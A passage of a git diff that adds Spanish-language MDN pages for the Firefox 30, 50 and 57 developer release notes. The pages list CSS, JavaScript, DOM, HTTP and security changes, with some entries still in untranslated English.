+<p>Nótese que, de cualquier manera, la dependencia de terceras partes no es una buena práctica, ya que implica que tu sitio no funcione si la tercera parte va lenta o es inaccesible, o si un complemento bloquea ese elemento rastreador.</p>
diff --git a/files/es/mozilla/firefox/releases/30/index.html b/files/es/mozilla/firefox/releases/30/index.html
new file mode 100644
index 0000000000..01c5be6cda
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/30/index.html
@@ -0,0 +1,92 @@
+---
+title: Firefox 30 for developers
+slug: Mozilla/Firefox/Releases/30
+translation_of: Mozilla/Firefox/Releases/30
+---
+<div>{{FirefoxSidebar}}</div><p>Want to help document Firefox 30? See the <a class="external" href="http://beta.elchi3.de/doctracker/#list=fx&amp;version=30.0">list of bugs that need to be written about</a> and pitch in!</p>
+
+<h2 id="Cambios_para_los_Desarrolladores_Web">Cambios para los Desarrolladores Web</h2>
+
+<h3 id="Herramientas_para_Desarrolladores">Herramientas para Desarrolladores</h3>
+
+<ul>
+ <li>Ha sido implementado el Modelo de Caja Resaltado (Box Model Highlighter) ({{bug(663778)}}).</li>
+ <li>En cualquier parte el nodo DOM aparece en la salida de la consola, se resalta cuando se encima la salida de esa consola ({{bug(757866)}}). Sucede lo mismo con todas las funciones y objetos JS, son resaltados en la salida de la consola ({{bug(584733)}}). Más información acerca de las mejoras de la consola pueden econtrarse en el siguiente <a href="http://www.robodesign.ro/mihai/blog/web-console-improvements-episode-30">post del blog</a>.</li>
+ <li>Sopoerte para {{domxref("Console.count()")}} ha sido agregado ({{bug(922208)}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>La propiedad {{cssxref("background-blend-mode")}} ha sido habilitada por defecto ({{bug(970600)}}).</li>
+ <li>La propiedad no estándar  {{cssxref("overflow-clip-box")}} ha sido implementada para utilizarse solamente en las hojas de estilo UA ({{bug(966992)}}).</li>
+ <li>La propiedad {{cssxref("line-height")}} afecta ahora a las entradas de lineas de texto sencillas  (<code>&lt;input type=text|password|email|search|tel|url|unknown&gt;</code> types) aunque no puede reducir su tamaño por debajo de una altura de la línea de <code>1.0</code> ({{bug(349259)}}).</li>
+ <li>La propiedad {{cssxref("line-height")}} ahora también afecta el <code>type=button</code>, sin restricciones ({{bug(697451)}}).</li>
+ <li>El cambio al nombre de los keyframes no afecta los elementos actuales ({{bug(978648)}}).</li>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<p><em>Sin cambios.</em></p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>New ES6-compatible <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">array comprehensions</a> <code>[for (item of iterable) item]</code> and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Generator_comprehensions">generator comprehensions</a> <code>(for (item of iterable) item)</code> have been implemented ({{bug(979865)}}).</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Property_access">Typed arrays</a> are now extensible and support new named properties ({{bug(695438)}}).</li>
+ <li>The {{jsxref("Error.prototype.stack")}} property now contains column numbers ({{bug(762556)}}) and has been improved <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error/Stack#Stack_of_eval'ed_code">when using <code>Function()</code> and <code>eval()</code> calls</a>. This can help you to better debug minified or generated JavaScript code.</li>
+ <li>The <code>Promise.cast()</code> method has been renamed to {{jsxref("Promise.resolve()")}} ({{bug(966348)}}).</li>
+</ul>
+
+<h3 id="InterfacesAPIsDOM">Interfaces/APIs/DOM</h3>
+
+<ul>
+ <li>{{domxref("Navigator.sendBeacon")}} has been implemented, easing telemetry collection ({{bug(936340)}}).</li>
+ <li>Added a <code>relList</code> property returning a {{domxref("DOMTokenList")}} to {{domxref("HTMLLinkElement")}}, {{domxref("HTMLAreaElement")}} and {{domxref("HTMLAnchorElement")}} ({{bug(968637)}}).</li>
+ <li>As per the latest specification, the first argument of {{domxref("OscillatorNode.start")}} and {{domxref("OscillatorNode.stop")}} is now optional and defaults to <code>0</code> ({{bug(982541)}}).</li>
+ <li>The method {{domxref("Navigator.requestWakeLock()")}} and the non-standard {{domxref("MozWakeLock")}} are no longer available from the Web on Desktop ({{bug(963366)}}).</li>
+ <li>The <code>DOM_VK_ENTER</code> constant has been removed from {{domxref("KeyboardEvent")}} ({{bug(969247)}}).</li>
+ <li>Web components' {{domxref("Document.register")}} has been adapted to follow the behavior described in the latest version of the specification ({{bug(856140)}}).</li>
+ <li>Basic support for Hit regions on canvas has been added: the methods {{domxref("CanvasRenderingContext2D.addHitRegion()")}} and {{domxref("CanvasRenderingContext2D.removeHitRegion()")}} have been added. These are disabled by default; to activate them set the preference <code>canvas.hitregions.enabled</code> to <code>true</code>. ({{bug(966591)}})</li>
+ <li>The non-standard, and deprecated since Firefox 15, {{domxref("Blob.mozSlice")}} is no longer supported ({{bug(961804)}}).</li>
+ <li>The non-standard {{domxref("ArchiveReader")}} and {{domxref("ArchiveRequest")}} are no longer exposed to the Web ({{bug(968883)}}).</li>
+ <li><a href="http://dxr.mozilla.org/mozilla-central/source/dom/webidl/">WebIDL constructors</a> cannot be called as functions anymore. They need to be preceded by the keyword <code>new</code>. ({{bug(916644)}})</li>
+ <li>Added support for a new value (<code>alpha</code>) for the second, optional, parameter of the {{domxref("Canvas.getContext()")}} method allowing to define if alpha blending must be stored or not for this context. When not, the per-pixel alpha value in this store is always <code>1.0</code>. This allows the back-end to implement a fast-track. ({{bug(982480)}})</li>
+ <li>{{domxref("GlobalWorkerScope.consle")}} now returns for the regular {{domxref("Console")}}; {{domxref("WorkerConsole")}} has been removed ({{bug(965860)}}).</li>
+</ul>
+
+<h3 id="MathML">MathML</h3>
+
+<p><em>No change.</em></p>
+
+<h3 id="SVG">SVG</h3>
+
+<ul>
+ <li>{{SVGElement("feDropShadow")}}, and its interface {{domxref("SVGFEDropShadowElement")}}, from the Filter Effects Module are now supported ({{bug(964200)}}).</li>
+</ul>
+
+<h3 id="AudioVideo">Audio/Video</h3>
+
+<ul>
+ <li>On Linux, Gstreamer 1.0 is now supported (instead of 0.10) ({{bug(806917)}}).</li>
+</ul>
+
+<h2 id="Security">Security</h2>
+
+<p><em>No change.</em></p>
+
+<h2 id="Changes_for_add-on_and_Mozilla_developers">Changes for add-on and Mozilla developers</h2>
+
+<ul>
+ <li>The interface <code>nsIDOMWindowUtils</code> now supports the Boolean attribute <code>audioMuted</code> and <code>audioVolume</code>, a float in the range <code>[0.0</code> ,  <code>1.0]</code>, allowing to control the sound produced by a window (that is any tab or iframe). There is no UI for this, but is available to add-ons. ({{bug(923247)}})</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla/Firefox/Releases/30/Site_Compatibility">Site Compatibility for Firefox 30</a></li>
+</ul>
+
+<h3 id="Older_versions">Older versions</h3>
+
+<p>{{Firefox_for_developers('29')}}</p>
diff --git a/files/es/mozilla/firefox/releases/50/index.html b/files/es/mozilla/firefox/releases/50/index.html
new file mode 100644
index 0000000000..bac952686e
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/50/index.html
@@ -0,0 +1,203 @@
+---
+title: Firefox 50 para desarrolladores
+slug: Mozilla/Firefox/Releases/50
+tags:
+  - Firefox
+  - Release Notes
+translation_of: Mozilla/Firefox/Releases/50
+---
+<div>{{FirefoxSidebar}}</div>
+
+<p>Firefox 50 was released on November 15, 2016. This article lists key changes that are useful not only for web developers, but also Firefox and Gecko developers as well as add-on developers.</p>
+
+<h2 id="Cambios_para_desarrolladores_Web">Cambios para desarrolladores Web</h2>
+
+<ul>
+</ul>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>El estilo por defecto {{HTMLElement("bdo")}} ahora asigna {{cssxref("unicode-bidi")}} con el valor <code>isolate-override</code> ({{bug(1249497)}}).</li>
+ <li>Asignar el atributo {{htmlattrxref("src", "track")}} del elemento {{HTMLElement("track")}} ahora funciona correctamente ({{bug(1281418)}}).</li>
+ <li>El atributo <code>referrerpolicy</code> en los elementos {{HTMLElement("area")}}, {{HTMLElement("a")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} y {{HTMLElement("link")}} ahora está disponible por defecto ({{bug(1223838)}}, {{bug(1264165)}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Esquinas con estilos punteados y rayados (<code>dashed, dotted</code>) Border-radiused ahora son mostradas con el estilo especificado en lugar de estilo sólido ({{bug(382721)}}).</li>
+ <li>El selector pseudo-clase no estándar {{cssxref(":-moz-full-screen-ancestor")}} fue removido ({{bug(1199529)}}).</li>
+ <li>{{cssxref("box-sizing")}}<code>: padding-box</code> fue removido, dado que ya no forma parte de la especificación y Firefox era el unico entre los principales navegadores que lo implementaba ({{bug(1166728)}}).</li>
+ <li>Se removió el prefijo de los tres valores <code>isolate</code>, <code>isolate-override</code>, y <code>plaintext</code> de la propiedad {{cssxref("unicode-bidi")}} ({{bug(1141895)}}).</li>
+ <li>En modo de compatibilidad, la etiqueta de un elemento de lista ahora hereda el tamaño de la lista, como en el modo estandar ({{bug(648331)}}).</li>
+ <li>Las pseudo-clases {{cssxref(":in-range")}} y {{cssxref(":out-of-range")}} cambiaron su comportamiento para no coincidir elementos input deshabilitados o de solo lectura ({{bug(1264157)}}).</li>
+ <li>Se removió el prefijo de la pseudo-clase {{cssxref(":any-link")}}({{bug(843579)}}).</li>
+ <li>El valor <code>space</code> para {{cssxref("border-image-repeat")}} fue implementado ({{bug(720531)}}).</li>
+</ul>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<ul>
+ <li>La propiedad del ES2015 {{jsxref("Symbol.hasInstance")}} ha sido implementada ({{bug(1054906)}}).</li>
+ <li>El método de ES2017 {{jsxref("Object.getOwnPropertyDescriptors()")}} ha sido implementado ({{bug(1245024)}}).</li>
+ <li>El comportamiento de \W in {{jsxref("RegExp")}} con los flags unicode e ignoreCase cambió para estar de acuerdo con el borrador mas reciente de la especificación. Ahora no coincide con K, S, k, s, and KELVIN SIGN (U+212A), y LATIN SMALL LETTER LONG S (U+017F) ({{bug(1281739)}}).</li>
+</ul>
+
+<h3 id="Herramientas_de_desarrollador">Herramientas de desarrollador</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Web_Console/Console_messages#Source_maps">La consola Web ahora entiende los source maps.</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Storage_Inspector#IndexedDB">El inspector de almacenamiento ahora permite borrar elementos individuales desde los objetos de almacenamiento de IndexedDB.</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Memory">La herramienta de memoria está habilitada por defecto.</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Page_Inspector/UI_Tour#Computed_view">La panel de "Modelo de caja" fue movido al panel lateral Computado.</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Tools/Web_Console/Console_messages#Viewing_network_request_details">La consola Web ahora muestra las trazas de pila para las peticiones de red XHR o Fetch().</a></li>
+ <li>
+  <p><a class="external external-icon" href="https://bugzilla.mozilla.org/buglist.cgi?list_id=13263766&amp;chfield=resolution&amp;chfieldfrom=2016-06-06&amp;chfieldvalue=FIXED&amp;resolution=FIXED&amp;classification=Client%20Software&amp;chfieldto=2016-08-01&amp;query_format=advanced&amp;bug_status=RESOLVED&amp;bug_status=VERIFIED&amp;component=Developer%20Tools&amp;component=Developer%20Tools%3A%20about%3Adebugging&amp;component=Developer%20Tools%3A%20Animation%20Inspector&amp;component=Developer%20Tools%3A%20Canvas%20Debugger&amp;component=Developer%20Tools%3A%20Computed%20Styles%20Inspector&amp;component=Developer%20Tools%3A%20Console&amp;component=Developer%20Tools%3A%20CSS%20Rules%20Inspector&amp;component=Developer%20Tools%3A%20Debugger&amp;component=Developer%20Tools%3A%20DOM&amp;component=Developer%20Tools%3A%20Font%20Inspector&amp;component=Developer%20Tools%3A%20Framework&amp;component=Developer%20Tools%3A%20Graphic%20Commandline%20and%20Toolbar&amp;component=Developer%20Tools%3A%20Inspector&amp;component=Developer%20Tools%3A%20JSON%20Viewer&amp;component=Developer%20Tools%3A%20Memory&amp;component=Developer%20Tools%3A%20Netmonitor&amp;component=Developer%20Tools%3A%20Object%20Inspector&amp;component=Developer%20Tools%3A%20Performance%20Tools%20%28Profiler%2FTimeline%29&amp;component=Developer%20Tools%3A%20Responsive%20Design%20Mode&amp;component=Developer%20Tools%3A%20Scratchpad&amp;component=Developer%20Tools%3A%20Shared%20Components&amp;component=Developer%20Tools%3A%20Source%20Editor&amp;component=Developer%20Tools%3A%20Storage%20Inspector&amp;component=Developer%20Tools%3A%20Style%20Editor&amp;component=Developer%20Tools%3A%20User%20Stories&amp;component=Developer%20Tools%3A%20Web%20Audio%20Editor&amp;component=Developer%20Tools%3A%20WebGL%20Shader%20Editor&amp;component=Developer%20Tools%3A%20WebIDE&amp;product=Firefox">Todos los bugs corregidos entre Firefox 49 y Firefox 50</a>.</p>
+ </li>
+</ul>
+
+<h3 id="HTTP">HTTP</h3>
+
+<ul>
+ <li>El protocolo experimental (y obsoleto) <a href="https://es.wikipedia.org/wiki/SPDY">SPDY</a> 3.1 ahora está deshabilitado por defecto {{bug(1287132)}}.</li>
+ <li>Se añadió soporte para {{HTTPHeader("X-Content-Type-Options")}}  ({{bug(471020)}}).</li>
+ <li>Los prefijos de cookies <strong><code>__Host-</code></strong> and <strong><code>__Secure-</code></strong> han sido implementados. Ver {{HTTPHeader("Set-Cookie")}} y {{bug(1283368)}}.</li>
+ <li>El encabezado {{HTTPHeader("Referrer-Policy")}} ha sido implementado {{bug(1264164)}}.</li>
+</ul>
+
+<h3 id="Seguridad">Seguridad</h3>
+
+<ul>
+ <li>El atributo {{htmlattrxref("ping", "a")}} del elemento {{htmlelement("a")}} ahora se apega al <code><a href="https://developer.mozilla.org/es/docs/Web/Security/CSP/CSP_policy_directives#connect-src">connect-src</a></code> <a href="https://developer.mozilla.org/es/docs/Web/Security/CSP/CSP_policy_directives">CSP 1.1 policy directive</a> ({{bug(1100181)}}).</li>
+ <li>Agregado soporte para la directiva <code><a href="https://developer.mozilla.org/es/docs/Web/Security/CSP/CSP_policy_directives#sandbox">sandbox</a></code> <a href="/en-US/docs/Web/Security/CSP">CSP</a> ({{bug(671389)}}).</li>
+ <li>Ahora es posible indicar una política <a href="/es/docs/Web/API/Web_Workers_API/Using_web_workers#Content_security_policy">content security policy for workers</a> ({{bug (959388)}}).</li>
+ <li>El método {{domxref("Navigator.sendBeacon()")}} ya no lanza una excepción si los datos de la baliza (Beacon Data) no pudieron ser enviados devido a una política de restricción consentimiento method <a href="/es/docs/Web/Security/CSP">Content Security Policy</a>; en su lugar, retorna <code>false</code> como es esperado ({{bug(1234813)}}).</li>
+</ul>
+
+<h3 id="Redes">Redes</h3>
+
+<ul>
+ <li>Cuando un error es encontrado durante una {{domxref("XMLHttpRequest")}} asíncrona, el método {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} ahora retorna un string vacio ({{bug(1286744)}}).</li>
+ <li>En lugar de retornar un <code>NetworkError</code>, ahora el asynchronous {{domxref("XMLHttpRequest")}} asíncrono que falla por CORS u otras restricciones de red, ahora lanza un {{event("error")}} que puede ser capturado como cualquier otro error ({{bug(709991)}}).</li>
+ <li>{{domxref("XMLHttpRequest.getResponseHeader()")}} y {{domxref("XMLHttpRequest.getAllResponseHeaders()")}} ahora también retornan encabezados vacíos por defecto. Esto puede ser controlado mediante la preferencia <code>network.http.keep_empty_response_headers_as_empty_string</code> ({{bug(918721)}}).</li>
+ <li>La opción <code>only-if-cached</code> fue agregada a <code><a href="https://developer.mozilla.org/es/docs/Web/API/Request/cache">Request.cache</a></code> ({{bug(1272436)}}).</li>
+</ul>
+
+<h3 id="DOM">DOM</h3>
+
+<ul>
+ <li>Ahora la opción <code>once</code> para {{domxref("EventTarget.addEventListener()")}} es soportada ({{bug(1287706)}}).</li>
+ <li>La interfaz {{domxref("NodeList")}} are now iterable and the methods {{domxref("NodeList.forEach()", "forEach()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.entries()")}} and {{domxref("NodeList.keys()")}} are now available ({{bug(1290636)}}).</li>
+ <li>The interface {{domxref("DOMTokenList")}} are now iterable and the methods {{domxref("DOMTokenList.forEach()", "forEach()")}}, {{domxref("DOMTokenList.values()", "values()")}}, {{domxref("DOMTokenList.entries()")}} and {{domxref("DOMTokenList.keys()")}} are now available ({{bug(1290636)}}).</li>
+ <li>The methods {{domxref("Document.createElement()")}} and {{domxref("Document.createElementNS()")}} now have an optional <code>options</code> parameter for creating <a href="/en-US/docs/Web/Web_Components/Custom_Elements">custom elements</a> ({{bug(1276579)}}).</li>
+</ul>
+
+<h3 id="SVG">SVG</h3>
+
+<ul>
+ <li>The <code>allowReorder</code> attribute has been dropped and the behavior it was setting is now the default for SVG {{SVGElement("switch")}} elements ({{bug(1279690)}}).</li>
+ <li>The <code>defer</code> keyword for the {{SVGAttr("preserveAspectRatio")}} attribute on SVG {{SVGElement("image")}} elements has been removed to follow the latest SVG2 specification ({{bug(1280425)}}).</li>
+</ul>
+
+<h3 id="Drag_and_Drop_API">Drag and Drop API</h3>
+
+<ul>
+ <li>The {{domxref("DataTransfer.items")}} property has been implemented, allowing access to multiple items being dragged and dropped using the HTML Drag and Drop API. To allow this, the {{domxref("DataTransferItem")}} and {{domxref("DataTransferItemList")}} interfaces are now supported as well ({{bug(906420)}}). This is enabled by default.</li>
+ <li>The old, obsolete Firefox specific drag and drop API events <code>dragdrop</code> and <code>draggesture</code> are no longer supported. Be sure to update any code still using them to use the <a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">HTML drag and drop API</a> ({{bug(1162050)}}.</li>
+</ul>
+
+<h3 id="Pointer_Lock_API">Pointer Lock API</h3>
+
+<ul>
+ <li>The <a href="/en-US/docs/Web/API/Pointer_Lock_API">Pointer Lock API</a> is now unprefixed ({{bug(991899)}}).</li>
+ <li>Before Firefox 50, <code><a href="/en-US/docs/Web/API/Element/requestPointerLock">requestPointerLock()</a></code> asked for permission using a doorhanger, and pointer lock would not be enabled until the user granted permission. From Firefox 50, pointer lock is like the <a href="/en-US/docs/Web/API/Fullscreen_API">fullscreen API</a>: it's granted immediately, but a notification is displayed explaining to the user how to exit ({{bug(1273351)}}).</li>
+</ul>
+
+<h3 id="IndexedDB">IndexedDB</h3>
+
+<ul>
+ <li>Ahora se envía un evento {{event("close")}} al objeto {{domxref("IDBDatabase")}} cuando la base de datos respectiva es cerrada de forma inesperada ({{bug(1151017)}}).</li>
+</ul>
+
+<h3 id="Service_Workers">Service Workers</h3>
+
+<ul>
+ <li>The {{domxref("WindowClient.navigate()")}} method has been implemented. This method lets you open a specified URL into a client window which is being controlled by the service worker ({{bug(1218148)}}).</li>
+</ul>
+
+<h3 id="WebGL">WebGL</h3>
+
+<ul>
+ <li>The {{domxref("EXT_shader_texture_lod")}} WebGL extension has been implemented ({{bug(1111689)}}).</li>
+ <li>The texImage methods have been updated for <a href="/en-US/docs/Web/API/WebGL2RenderingContext">WebGL 2</a> to implement PBOs (<code>PIXEL_UNPACK_BUFFER</code>) ({{bug(1280499)}}).</li>
+</ul>
+
+<h3 id="WebRTC">WebRTC</h3>
+
+<ul>
+ <li>Adding a track to a {{domxref("MediaStream")}} now generates the {{event("addtrack")}} event as described in the specification. The event is of type {{domxref("MediaStreamTrackEvent")}} and is fired on the stream to which the track was added. You can use either {{domxref("EventTarget.addEventListener", "MediaStream.addEventListener('addtrack', ...)")}} or the {{domxref("MediaStream.onaddtrack")}} property to handle <code>"addtrack"</code> events.</li>
+ <li>The {{domxref("MediaStreamTrack")}} interface now supports the {{event("ended")}} event and the {{domxref("MediaStreamTrack.onended")}} event handler.</li>
+ <li>Firefox now supports the {{domxref("MediaStreamTrack.readyState")}} property, which indicates whether the track is live or permanently ended.</li>
+ <li>The {{domxref("MediaStreamTrack")}} methods {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} and {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} have been implemented; these let you get the most recently applied set of customized property constraints and the actual values of all of the track's constrainable properties, respectively. The accompanying data types have been documented as well.</li>
+ <li>The {{domxref("RTCDataChannel.stream")}} property has been removed. This was replaced with {{domxref("RTCDataChannel.id")}} in <a href="/en-US/docs/Mozilla/Firefox/Releases/24">Firefox 24</a>, but was supported for backward compatibility. Please be sure to update your code to use the <code>id</code> property if you haven't done so yet.</li>
+</ul>
+
+<h3 id="Web_Audio_API">Web Audio API</h3>
+
+<ul>
+ <li>The {{domxref("PannerNode")}} interface now supports the 3D Cartesian space properties for the position ({{domxref("PannerNode.positionX")}}, {{domxref("PannerNode.positionY")}}, and {{domxref("PannerNode.positionZ")}}) and directionality ({{domxref("PannerNode.orientationX")}}, {{domxref("PannerNode.orientationY")}}, {{domxref("PannerNode.orientationZ")}}) of an audio source.</li>
+ <li>The interface {{domxref("IIRFilterNode")}}, which implements a general {{interwiki("wikipedia", "infinite impulse response")}} (IIR) filter, has been implemented.</li>
+ <li>Throttling in background tabs of timers created by {{domxref("WindowTimers.setInterval", "Window.setInterval()")}} and {{domxref("WindowTimers.setTimeout", "Window.setTimeout()")}} no longer occurs if a <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("AudioContext")}} is actively playing sound. This should help prevent issues with timing-sensitive audio playback (such as music players generating individual notes using timers) in the background ({{bug(1181073)}}).</li>
+</ul>
+
+<h3 id="AudioVideo">Audio/Video</h3>
+
+<ul>
+ <li>The <code>AlignSetting</code> enum (representing possible values for {{domxref("VTTCue.align")}}) incorrectly previously included the value <code>"middle"</code> instead of <code>"center"</code>. This has been corrected ({{bug(1276130)}}).</li>
+ <li>The non-standard and experimental method {{domxref("HTMLMediaElement.seekToNextFrame()")}} now seeks to the next frame in the media asynchronously, rather than synchronously, and returns a {{jsxref("Promise")}} which resolves once the seek is complete.</li>
+ <li>The implementation of {{domxref("HTMLTrackElement")}} has been corrected to allow {{HTMLElement("track")}} elements to load resources even if not in a document ({{bug(871747)}}).</li>
+</ul>
+
+<h3 id="API_de_batería">API de batería</h3>
+
+<ul>
+ <li>The {{domxref("navigator.battery")}} property, which has been deprecated since Firefox 43, is now obsolete and has been removed. Use the {{domxref("navigator.getBattery()")}} method instead to get a battery {{jsxref("Promise")}}, which will resolve when the {{domxref("BatteryManager")}} is available for use; the {{domxref("BatteryManager")}} is passed into the fulfillment handler for the promise ({{bug(12593355)}}).</li>
+</ul>
+
+<h3 id="Archivos_y_directorios">Archivos y directorios</h3>
+
+<ul>
+ <li>A subset of the <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a> has been implemented, to improve compatibility with sites that were previously only compatible with Google Chrome ({{bug(1265767)}}).
+
+  <ul>
+   <li>The asynchronous API interfaces have been implemented, with the caveat that only reading of files is supported; for example, the {{domxref("FileSystemFileEntry.createWriter()")}} method is a no-op.</li>
+   <li>These interfaces have been implemented:
+    <ul>
+     <li>{{domxref("FileSystem")}}</li>
+     <li>{{domxref("FileSystemEntry")}} (properties only; the methods have not been implemented)</li>
+     <li>{{domxref("FileSystemFileEntry")}} (except for {{domxref("FileSystemFileEntry.createWriter", "createWriter()")}})</li>
+     <li>{{domxref("FileSystemDirectoryEntry")}} (except for {{domxref("FileSystemDirectoryEntry.removeRecursively", "removeRecursively()")}})</li>
+     <li>{{domxref("FileSystemDirectoryReader")}}</li>
+    </ul>
+   </li>
+   <li>{{domxref("HTMLInputElement.webkitdirectory")}} as well as the {{HTMLattrxref("webkitdirectory", "input")}} attribute of the {{HTMLElement("input")}} element have been implemented; this lets you configure a file input to accept directories instead of files ({{bug(1258489)}}).</li>
+   <li>{{domxref("HTMLInputElement.webkitEntries")}} has been implemented; this returns an array of {{domxref("FileSystemEntry")}}-based objects representing the selected items.</li>
+   <li>{{domxref("File.webkitRelativePath")}} has been implemented; this contains the path of the file relative to the root of the containing {{domxref("FileSystemDirectoryEntry")}} that was among the items in the list returned by {{domxref("HTMLInputElement.webkitGetEntries()")}}.</li>
+   <li>See <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a> for details about what we do and do not support in this API.</li>
+   <li>These APIs are now enabled by default; some were previously available but only behind a preference ({{bug(1288683)}}).</li>
+  </ul>
+ </li>
+ <li>We've implemented {{domxref("DataTransferItem.webkitGetAsEntry()")}} as part of the <a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a>; this lets you obtain a {{domxref("FileSystemEntry")}} representing a dropped file ({{bug(1289255)}}). This is enabled by default.</li>
+ <li>The <code>HTMLInputElement.directory</code> property, part of the <a href="https://wicg.github.io/directory-upload/proposal.html">Directory Upload API</a> proposal, has been renamed to <code>allowdirs</code> ({{bug(1288681)}}). This property is hidden behind a preference.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://www.fxsitecompat.com/en-US/versions/50">Compatibilidad de sitios para Firefox 50</a></li>
+</ul>
+
+<h2 id="Versiones_anteriores">Versiones anteriores</h2>
+
+<p>{{Firefox_for_developers(49)}}</p>
diff --git a/files/es/mozilla/firefox/releases/57/index.html b/files/es/mozilla/firefox/releases/57/index.html
new file mode 100644
index 0000000000..557684e1fa
--- /dev/null
+++ b/files/es/mozilla/firefox/releases/57/index.html
@@ -0,0 +1,299 @@
+---
+title: Firefox Quantum 57 para programadores
+slug: Mozilla/Firefox/Releases/57
+tags:
+  - '57'
+  - Firefox
+  - Notas de publicación
+translation_of: Mozilla/Firefox/Releases/57
+---
+<div>{{FirefoxSidebar}}</div><p class="summary">Este artículo proporciona información sobre los cambios incluidos en Firefox 57 (también conocido como Firefox Quantum) que conciernen a los desarrolladores. Firefox 57 se disponibilizó al público el <a href="https://wiki.mozilla.org/RapidRelease/Calendar#Future_branch_dates">14 de noviembre de 2017</a>.</p>
+
+<h2 id="Firefox_57_Firefox_Quantum">Firefox 57 === Firefox Quantum</h2>
+
+<p>Hemos bautizado a Firefox 57 como <strong>Quantum</strong> por el proyecto de ingeniería <a href="https://wiki.mozilla.org/Quantum">Firefox Quantum</a>, cuyo objetivo ha sido el de reconstruir Firefox desde cero para darle un rendimiento y una estabilidad excelentes, así como mejorar su apariencia visual. Esta es la primera versión de Firefox en incluir algunos de estos cambios, así que quisimos conmemorar el acontecimiento.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: para obtener más información sobre las funciones de Quantum incluidas en esta versión, consúltese el artículo <a href="https://hacks.mozilla.org/2017/09/firefox-quantum-developer-edition-fastest-firefox-ever/">«Firefox Quantum Developer Edition: el Firefox más rápido, con IU Photon y mejores herramientas»</a>, escrito por Dan Callahan.</p>
+</div>
+
+<p><a href="https://hacks.mozilla.org/2017/08/inside-a-super-fast-css-engine-quantum-css-aka-stylo/">El nuevo procesador de CSS en paralelo de Firefox</a> ―también denominado <strong>Quantum CSS</strong> o <strong>Stylo</strong>― está activado de manera predeterminada en Firefox 57 para escritorio; las versiones para móviles darán el salto en el futuro. Los programadores no deberían notar ninguna diferencia importante, aparte de la amplia gama de mejoras de rendimiento. Sin embargo, existen algunas diferencias menores de funcionalidad en Stylo, las cuales se han implementado para corregir comportamientos no estándares de Gecko que habrían de desaparecer. Informaremos de esas diferencias en las páginas de referencia y en las notas de publicación según proceda (véanse {{anch("Notas sobre Quantum CSS")}}).</p>
+
+<article class="text-content" id="wikiArticle">
+<h2 id="Cambios_para_programadores_web">Cambios para programadores web</h2>
+
+<h3 id="Herramientas_de_desarrollo">Herramientas de desarrollo</h3>
+
+<p><em>No hay ningún cambio.</em></p>
+
+<h3 id="HTML">HTML</h3>
+
+<ul>
+ <li>Los tipos <a href="/en-US/docs/Web/HTML/Element/input/date">«date»</a> y <a href="/en-US/docs/Web/HTML/Element/input/time">«time»</a> de {{htmlelement("input")}} ya están activados en todas las compilaciones ({{bug("1399036")}}).</li>
+</ul>
+
+<h3 id="CSS">CSS</h3>
+
+<ul>
+ <li>Ahora admitimos los valores <code>minimal-ui</code> y <code>standalone</code> de la consulta <code><a href="/en-US/docs/Web/CSS/@media/display-mode">display-mode</a></code> ({{bug(1369815)}}). Consúltese también el <a href="/en-US/docs/Web/Manifest#display">campo de manifiesto de aplicación web <code>display</code></a>.</li>
+ <li>Se corrigió un problema que causaba que la notación abreviada de la cuadrícula quedara restablecida al utilizar {{cssxref("grid-row-gap")}} y {{cssxref("grid-column-gap")}} ({{bug(1387410)}}).</li>
+ <li>Se ha eliminado la preferencia <code>layout.css.clip-path-shapes.enabled</code>, que permitía activar o desactivar la compatibilidad de {{cssxref("&lt;basic-shape&gt;")}} con {{cssxref("clip-path")}} ({{bug(1399767)}}).</li>
+</ul>
+
+<h4 id="Notas_sobre_Quantum_CSS">Notas sobre Quantum CSS</h4>
+
+<ul>
+ <li>Los valores de degradados radiales tales como <code>radial-gradient(circle gold,red)</code> funcionan en el sistema de estilos de Gecko anterior, pero no debería por la coma faltante entre <code>circle</code> y <code>gold</code> ({{bug(1383323)}}). Quantum corrige este defecto.</li>
+ <li>Cuando se da animación a un elemento ubicado fuera de la pantalla y se establece un tiempo de retardo, Gecko no actualiza la visualización correctamente en algunas plataformas, como Windows ({{bug(1383239)}}). Esto ha quedado corregido en Quantum.</li>
+ <li>En Gecko, no es posible desplegar de manera predeterminada los elementos {{htmlelement("details")}} mediante el atributo <code>open</code> si tienen una propiedad {{cssxref("animation")}} activa ({{bug(1382124)}}). Quantum corrige este problema.</li>
